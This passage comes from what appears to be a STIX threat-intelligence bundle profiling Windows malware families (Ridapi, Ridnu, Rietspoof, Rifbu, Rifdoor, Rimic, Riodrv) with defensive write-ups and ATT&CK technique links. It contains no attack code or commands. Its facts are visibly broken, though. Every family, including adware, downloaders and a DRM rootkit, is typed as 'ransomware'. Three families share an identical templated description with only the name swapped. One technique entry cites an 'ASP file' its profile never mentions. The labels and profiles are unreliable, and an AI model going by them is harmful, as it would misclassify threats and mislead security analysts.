tracking telemetry also violates corporate privacy policies.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode and Process Termination:</strong> Due to the aggressive watchdog services, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the adware's defense mechanisms from launching before attempting uninstallation.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge the malicious extensions and hijacked settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Ridapi",
        "PUP.Ridapi",
        "Win32/Adware.Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ridapi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ridapi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--489cd0f0-02b0-579e-a5a9-6333a4b65c9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35939a6b-7cc1-5e7f-bff5-0d35218d842c",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ridapi exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9af1c106-9cdd-5a25-9cba-60f4904303e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35939a6b-7cc1-5e7f-bff5-0d35218d842c",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ridapi exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--625245d1-fa21-5f0f-94fd-be3001fab332",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--35939a6b-7cc1-5e7f-bff5-0d35218d842c",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ridapi exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3f760652-e40b-55b0-a9bf-a1e94efc28fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ridnu",
      "description": "<h3>Executive Summary</h3>\nRidnu is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRidnu is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Ridnu operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Ridnu ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Ridnu receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Ridnu infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Ridnu executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Ridnu frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Ridnu",
        "Downloader.Ridnu",
        "Win32/Ridnu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ridnu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ridnu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4682db3a-8be3-56ef-8045-c92958016c81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f760652-e40b-55b0-a9bf-a1e94efc28fb",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ridnu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95dc15ba-dc94-5ddf-9b96-da8a7bb9aed9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f760652-e40b-55b0-a9bf-a1e94efc28fb",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ridnu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88cebb86-3c23-59a3-bc4d-d17409353b88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f760652-e40b-55b0-a9bf-a1e94efc28fb",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ridnu exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f6db7e1b-9896-5572-87f2-22cefee973c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rietspoof",
      "description": "<h3>Executive Summary</h3>\nRietspoof is a highly sophisticated, multi-stage Trojan Downloader that emerged in early 2019. Unlike \"smash-and-grab\" malware, Rietspoof is engineered for extreme stealth and persistence. It serves as a highly evasive delivery mechanism (a \"loader\") used by advanced threat actors to establish a covert beachhead on a network before deploying devastating secondary payloads, such as enterprise-wide ransomware or specialized espionage tools.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRietspoof is typically distributed via highly targeted spear-phishing campaigns. The emails contain malicious attachments, often a VBScript embedded in an archive or a weaponized Office document.\n\nIts execution chain is characterized by its complexity and multi-stage nature:\n<ul>\n<li><strong>Stage 1 (VBScript/Dropper):</strong> The initial script drops the first executable (often a compiled CAB file) and creates a shortcut in the Windows Startup folder to ensure persistence before executing the dropped file.</li>\n<li><strong>Stage 2 (The Downloader):</strong> The core Rietspoof payload utilizes advanced techniques to evade detection. It heavily obfuscates its API calls, utilizes string encryption, and frequently employs digital signature spoofing (or stolen certificates) to appear as a legitimate Windows process.</li>\n<li><strong>Stage 3 (C2 and Execution):</strong> Rietspoof communicates with its command-and-control (C2) servers over encrypted TCP or HTTPS channels. It is designed to download and execute heavily encrypted secondary payloads directly into system memory (fileless execution), bypassing traditional, disk-based antivirus scans.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of Rietspoof is a critical security incident. Its presence is a leading indicator of an impending, severe cyberattack. Because Rietspoof acts as a conduit, the ultimate damage depends entirely on the secondary payload the attackers choose to deploy, which often leads to total network compromise.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Behavioral EDR Monitoring:</strong> Static signatures are insufficient to detect Rietspoof's multi-stage loading process. Defenses must rely on EDR solutions configured to alert on suspicious behavior, such as `wscript.exe` or `powershell.exe` launching unknown executables that subsequently make anomalous outbound network connections.</li>\n<li><strong>Forensic Memory Analysis:</strong> Because Rietspoof executes secondary payloads directly in memory, responding to an incident requires volatile memory (RAM) capture and analysis to identify the final malware that was deployed.</li>\n<li><strong>Network Segmentation and Hunt:</strong> Isolate the infected machine immediately. Assume the attackers have successfully deployed secondary tools and begin an active threat hunt across the network for signs of lateral movement or privilege escalation.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Rietspoof",
        "Loader.Rietspoof",
        "Win32/Rietspoof"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rietspoof",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rietspoof"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56329c36-2bcd-52b6-840b-a16144a229a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6db7e1b-9896-5572-87f2-22cefee973c5",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rietspoof exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b89a206e-b8c4-59d4-8427-d5cf62c7705d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6db7e1b-9896-5572-87f2-22cefee973c5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rietspoof exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53fee6bb-362f-5f2b-a376-678ed4a08712",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6db7e1b-9896-5572-87f2-22cefee973c5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rietspoof exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc1d71b2-ba37-5086-8e52-c8f07530e58d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6db7e1b-9896-5572-87f2-22cefee973c5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rietspoof exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5a4c53a-b400-5cc4-93bc-1afcf4b344bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f6db7e1b-9896-5572-87f2-22cefee973c5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rietspoof exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b0a5648a-8291-5a1a-b246-db87e3bf2458",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rifbu",
      "description": "Trojan:Win32/Rifbu is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Rifbu</b><br>To an end-user, a Rifbu infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Rifbu is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Rifbu is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Rifbu frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Rifbu reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rifbu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rifbu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf923881-32b7-54bc-9cda-ff3e05e742b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0a5648a-8291-5a1a-b246-db87e3bf2458",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rifbu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80ec27ad-7858-50d2-9013-7dbd347765c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0a5648a-8291-5a1a-b246-db87e3bf2458",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rifbu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46a463fb-eca0-553d-8f81-dda147b6a49b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0a5648a-8291-5a1a-b246-db87e3bf2458",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rifbu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb8bdd52-0204-5bf4-8f25-3c7df19c2834",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0a5648a-8291-5a1a-b246-db87e3bf2458",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rifbu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--714166d2-2d6d-5787-84d5-99488b89fc24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0a5648a-8291-5a1a-b246-db87e3bf2458",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rifbu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--92c16c0d-b0d8-5739-9ab2-8c3bc2b694bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rifdoor",
      "description": "Trojan:Win32/Rifdoor is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Rifdoor</b><br>To an end-user, a Rifdoor infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Rifdoor is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Rifdoor is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Rifdoor frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Rifdoor reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rifdoor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rifdoor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79d92b90-6e25-5a3f-9819-a371ef53e09d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92c16c0d-b0d8-5739-9ab2-8c3bc2b694bf",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rifdoor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89f93bbb-c0eb-5506-9603-0c9a46a6024c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92c16c0d-b0d8-5739-9ab2-8c3bc2b694bf",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rifdoor exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--820e15ef-ef0f-577f-a3e5-28629e14ed87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92c16c0d-b0d8-5739-9ab2-8c3bc2b694bf",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rifdoor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4fd89af-0348-5331-a3cf-f31717770c7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92c16c0d-b0d8-5739-9ab2-8c3bc2b694bf",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rifdoor exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--809c21fd-922e-55be-8863-4417c6b4955a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92c16c0d-b0d8-5739-9ab2-8c3bc2b694bf",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rifdoor exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--579b574b-b778-58f5-bf43-472f17a9b18e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rimic",
      "description": "Trojan:Win32/Rimic is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Rimic</b><br>To an end-user, a Rimic infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Rimic is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Rimic is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Rimic frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Rimic reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rimic",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rimic"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6e2115e-90ba-5f47-b132-74b18921f5de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--579b574b-b778-58f5-bf43-472f17a9b18e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rimic exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--045f00ff-5614-56dd-b285-416ac50bc120",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--579b574b-b778-58f5-bf43-472f17a9b18e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rimic exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a0f02d3-0aaf-56b4-9773-37b4a7e30ab7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--579b574b-b778-58f5-bf43-472f17a9b18e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rimic exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e50d8c6-56b4-5419-a2d6-8de345f6c315",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--579b574b-b778-58f5-bf43-472f17a9b18e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rimic exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9febf599-61e6-5a8b-b463-2d9ca587621d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--579b574b-b778-58f5-bf43-472f17a9b18e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rimic exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--68dc9993-0440-54b7-866f-0e2b2a9a82c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Riodrv",
      "description": "<h3>Executive Summary</h3>\nRioDrv (often associated with older, invasive Digital Rights Management (DRM) software like the infamous Sony BMG copy protection scandal) represents a class of Rootkits designed to hide files, registry keys, and running processes from the operating system and the user. While originally designed by software publishers to prevent CD piracy, the rootkit techniques utilized by RioDrv are inherently malicious, creating massive security vulnerabilities that can be hijacked by other malware.\n\n<h3>Technical Architecture and Exploitation</h3>\nRioDrv operates at the deepest level of the Windows operating system\u2014the kernel. It typically installs itself via a malicious or invasive device driver (`.sys` file).\n\nIts core mechanisms include:\n<ul>\n<li><strong>Kernel API Hooking:</strong> RioDrv intercepts core Windows API calls (such as `NtQueryDirectoryFile` or `NtEnumerateValueKey`). When a legitimate application (like Windows Explorer or an Antivirus scanner) asks the OS to list the contents of a directory, the rootkit intercepts the request and removes its own hidden files (often prefixed with specific characters, like `$sys$`) from the results.</li>\n<li><strong>Blind Spot Creation:</strong> By completely hiding its presence, the rootkit creates a massive \"blind spot\" on the system. </li>\n<li><strong>Secondary Hijacking:</strong> Because the rootkit hides *any* file utilizing its specific naming convention, actual cybercriminals quickly realized they could name their own malware (e.g., Trojans, keyloggers) using the rootkit's prefix. The DRM rootkit would then unwittingly hide the attacker's malware from all security scanners, providing them with perfect, unintentional stealth.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nThe presence of a kernel-mode rootkit like RioDrv compromises the fundamental 